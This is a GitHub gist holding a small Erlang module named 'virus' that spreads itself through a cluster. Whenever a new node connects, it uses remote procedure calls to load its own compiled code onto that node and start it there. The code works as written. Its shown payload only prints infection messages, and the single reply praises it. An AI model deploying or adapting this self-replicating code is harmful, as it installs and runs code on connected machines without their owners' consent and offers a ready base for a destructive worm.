Skip to content

Instantly share code, notes, and snippets.

@eproxus
Created March 4, 2011 09:26
Show Gist options
  • Save eproxus/854389 to your computer and use it in GitHub Desktop.
Save eproxus/854389 to your computer and use it in GitHub Desktop.
A small module that jumps between connected nodes
%% @doc A small module that jumps between connected nodes.
%% @author Gianfranco Alongi <[email protected]>
%% @author Adam Lindberg <[email protected]>
-module(virus).
-export([start/0]).
-export([start/1]).
start() -> spawn_process(code:get_object_code(?MODULE)).
start(Beam) -> spawn_process(Beam).
spawn_process(Beam) ->
case whereis(?MODULE) of
undefined -> spawn(fun() -> virus(Beam) end);
_Else -> ok
end.
virus(Beam) ->
register(?MODULE, self()),
net_kernel:monitor_nodes(true),
io:format(user, "You're infested!~n", []),
%[infest(Node) || Node <- nodes()],
virus_loop(Beam).
virus_loop(Beam) ->
receive
{nodeup, Node} ->
infest(Node, Beam),
io:format(user, "~p has joined!~n", [Node])
end,
virus_loop(Beam).
infest(Node, {Mod, Bin, File} = Beam) ->
{module, Mod} = rpc:call(Node, code, load_binary, [Mod, File, Bin]),
rpc:call(Node, ?MODULE, start, [Beam]).
@aerosol
Copy link

aerosol commented Mar 28, 2012

awesome

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment